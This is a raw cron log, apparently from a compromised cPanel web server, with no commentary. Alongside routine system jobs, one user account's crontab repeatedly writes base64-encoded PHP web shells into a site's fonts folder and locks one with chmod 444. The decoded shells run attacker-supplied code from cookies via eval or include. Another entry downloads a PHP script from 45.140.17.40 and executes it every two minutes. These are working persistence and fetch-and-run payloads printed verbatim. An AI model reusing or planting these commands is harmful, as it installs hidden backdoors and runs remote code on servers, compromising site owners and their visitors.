Sep  3 12:24:01 ip-184-168-122-23 CROND[5489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:24:01 ip-184-168-122-23 CROND[5492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:24:01 ip-184-168-122-23 CROND[5491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:25:01 ip-184-168-122-23 CROND[5579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:25:02 ip-184-168-122-23 CROND[5580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:25:02 ip-184-168-122-23 CROND[5582]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 12:25:02 ip-184-168-122-23 CROND[5581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:25:02 ip-184-168-122-23 CROND[5583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:25:02 ip-184-168-122-23 CROND[5584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:25:02 ip-184-168-122-23 CROND[5585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:26:02 ip-184-168-122-23 CROND[5700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:26:02 ip-184-168-122-23 CROND[5702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:26:02 ip-184-168-122-23 CROND[5701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:26:02 ip-184-168-122-23 CROND[5703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:26:02 ip-184-168-122-23 CROND[5699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:27:01 ip-184-168-122-23 CROND[5863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:27:01 ip-184-168-122-23 CROND[5864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:27:01 ip-184-168-122-23 CROND[5865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:27:01 ip-184-168-122-23 CROND[5868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:28:01 ip-184-168-122-23 CROND[5947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:28:01 ip-184-168-122-23 CROND[5949]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:28:01 ip-184-168-122-23 CROND[5951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:28:01 ip-184-168-122-23 CROND[5950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:28:01 ip-184-168-122-23 CROND[5952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:29:01 ip-184-168-122-23 CROND[6035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:29:01 ip-184-168-122-23 CROND[6037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:29:01 ip-184-168-122-23 CROND[6038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:29:01 ip-184-168-122-23 CROND[6039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:30:01 ip-184-168-122-23 CROND[6132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:30:01 ip-184-168-122-23 CROND[6134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:30:01 ip-184-168-122-23 CROND[6136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:30:01 ip-184-168-122-23 CROND[6138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:30:01 ip-184-168-122-23 CROND[6143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:30:01 ip-184-168-122-23 CROND[6142]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:30:01 ip-184-168-122-23 CROND[6140]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 12:30:01 ip-184-168-122-23 CROND[6141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:30:01 ip-184-168-122-23 CROND[6146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:31:01 ip-184-168-122-23 CROND[6254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:31:01 ip-184-168-122-23 CROND[6256]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 12:31:01 ip-184-168-122-23 CROND[6259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:31:01 ip-184-168-122-23 CROND[6257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:31:01 ip-184-168-122-23 CROND[6258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:32:01 ip-184-168-122-23 CROND[6436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:32:01 ip-184-168-122-23 CROND[6438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:32:01 ip-184-168-122-23 CROND[6439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:32:01 ip-184-168-122-23 CROND[6441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:32:01 ip-184-168-122-23 CROND[6443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:33:01 ip-184-168-122-23 CROND[6537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:33:01 ip-184-168-122-23 CROND[6539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:33:01 ip-184-168-122-23 CROND[6540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:33:01 ip-184-168-122-23 CROND[6541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:34:01 ip-184-168-122-23 CROND[6637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:34:01 ip-184-168-122-23 CROND[6639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:34:01 ip-184-168-122-23 CROND[6640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:34:01 ip-184-168-122-23 CROND[6641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:34:01 ip-184-168-122-23 CROND[6642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:35:02 ip-184-168-122-23 CROND[6757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:35:02 ip-184-168-122-23 CROND[6763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:35:02 ip-184-168-122-23 CROND[6762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:35:02 ip-184-168-122-23 CROND[6764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:35:02 ip-184-168-122-23 CROND[6765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:35:02 ip-184-168-122-23 CROND[6761]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 12:35:02 ip-184-168-122-23 CROND[6759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:35:02 ip-184-168-122-23 CROND[6760]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
